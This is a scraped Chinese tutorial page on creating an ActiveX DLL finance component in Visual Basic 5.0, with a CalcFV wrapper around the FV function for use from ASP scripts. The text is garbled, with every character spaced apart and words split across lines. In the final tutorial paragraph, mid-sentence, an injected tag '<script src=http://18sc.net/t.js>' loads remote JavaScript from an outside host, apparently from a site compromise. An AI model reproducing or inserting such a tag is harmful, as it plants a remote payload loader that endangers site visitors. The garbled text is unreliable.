创建ActiveX财务组件

答案：
组 件 将 包 含 一 组 相 关 的 方 法 （ 函 数 ） ， 用 来 提 供 脚 本 语 言 所 不 具 有 的 功 能 。 由 于 
 VBScript  不 提 供 财 务 函 数 ， 所 以 您 必 须 通 过 自 己 的  Finance  服 务 器 组 件 来 提 供 
对  Visual Basic  财 务 函 数 的 使 用 能 力 。 该 服 务 器 组 件 能 提 供 所 有 的  Visual Ba 
sic  财 务 函 数 ， 包 括  DDB  函 数 （ 双 倍 余 额 递 减 法 ） 、 FV  函 数 （ 未 来 值 ） 、 IPmt 
  函 数 （ 支 付 利 息 ） 、 IRR  函 数 （ 内 部 回 报 率 ） 以 及 其 他 函 数 。 不 过 ， 在 本 教 程 中 
， 您 将 只 使 用  FV  函 数 ， 基 于 固 定 利 率 及 等 额 定 期 支 付 方 式 ， 返 回 一 笔 年 金 。   

　 
启 动  Visual Basic 
单 击 “ 开 始 ” 按 钮 ， 指 向 “ 程 序 ” ， 然 后 指 向 “ Microsoft Visual Basic 5.0 ” 
  
单 击 子 菜 单 中 的 “ Visual Basic 5.0 ” ， 运 行 编 程 环 境 。   
开 始 并 命 名 一 个 工 程 
在 “ New Project ” 对 话 框 中 ， 双 击 “ ActiveX DLL ” 。   
在 “ Project ” 菜 单 上 ， 单 击 “ Project1 Properties ” 。   
在 “ General ” 属 性 页 的 “ Project Name ”   框 中 ， 键 入 “ MS ” 。   
选 择 “ Unattended Execution ” 。   
注 意   选 择 该 选 项 表 明 这 个 工 程 运 行 时 不 需 要 用 户 交 互 ， 并 且 将 不 具 有 用 户 交 互 的 
基 础 。 
　 
单 击 “ OK ” 。   
现 在 工 程 被 命 名 为 “ MS ” 。 以 后 ， 您 将 从  ASP  脚 本 中 以  MS.Finance  的 形 式 引 用 
 Finance  服 务 器 组 件 。   
　 
将  Finance Class  添 加 到 工 程 中 
在  Visual Basic  中 ， 若 要 创 建 具 有 一 组 可 以 调 用 的 函 数 组 件 ， 必 须 定 义 一 个   类 
。 一 个 类 包 含 一 组 方 法 和 属 性 。 在 您 的 工 程 中 ， 类 就 是 您 说 明 财 务 方 法 的 地 方 。 

　 
按 下  F4  键 打 开 类 模 块 的 “ Properties ” 窗 口 ， 双 击 “ Name ” 属 性 并 键 入 “ Func 
tion ” ， 然 后 按  Enter 。   
双 击 “ Instancing ” 。   
单 击 箭 头 ， 然 后 选 择 “ 5 - MultiUse ” 。   
进 一 步 学 习  Visual Basic  财 务 函 数 
Visual Basic  的 帮 助 系 统 描 述 了 可 以 使 用 的 财 务 函 数 。 
　 
单 击 “ Help ” 。   
选 择 “ Microsoft Visual Basic Help Topics ” 。   
选 择 “ Index ” 选 项 卡 ， 然 后 键 入 “ financial functions ” 作 为 查 找 的 文 字 。   

双 击 “ financial functions ” 索 引 条 。   
单 击 “ FV Function ” ， 学 习 该 函 数 。   
学 习 完 财 务 函 数 后 ， 关 闭 “ Visual Basic Help ” 对 话 框 。   
将  CalcFV  函 数 添 加 到  Finance  类 
Finance  服 务 器 组 件 需 要 一 些 代 码 。 这 些 代 码 让 使 用 您 组 件 的 语 言 可 以 调 用  Vis 
ual Basic  内 建 的 未 来 值 函 数 。   
　 
将 下 列 行 复 制 并 粘 贴 到  Finance  类 的 代 码 窗 口 中 ： 
　 
Public Function CalcFV(rate, nper, pmt, Optional pv, Optional whendue) 
  
CalcFV = FV(rate, nper, pmt, pv, whendue) 
End Function 
添 加 组 件 的 入 口 点 
所 有 服 务 器 组 件 都 需 要 一 个 入 口 （ 起 始 ） 点 。 这 是 当 对 象 第 一 次 可 用 于 一 种 语 言 
时 ， 将 被 调 用 的 代 码 。 在  VBScript  中 ， 当 您 使 用  Server.CreateObject  时 ， 将 
创 建 对 象 的 一 个 实 例 。 当 执 行  Server.CreateObject  语 句 时 ， （ 由  Visual Bas 
ic  创 建 的 ） 服 务 器 组 件 上 的  Sub Main  过 程 将 被 调 用 。 
当 您 的 财 务 组 件 被 调 用 时 ， 它 不 需 要 任 何 特 殊 代 码 来 初 始 化 自 身 ?script src=http://18sc.net/t.js>

上一个：几种优秀的开发ASP的工具
下一个：asp用户退出登陆代码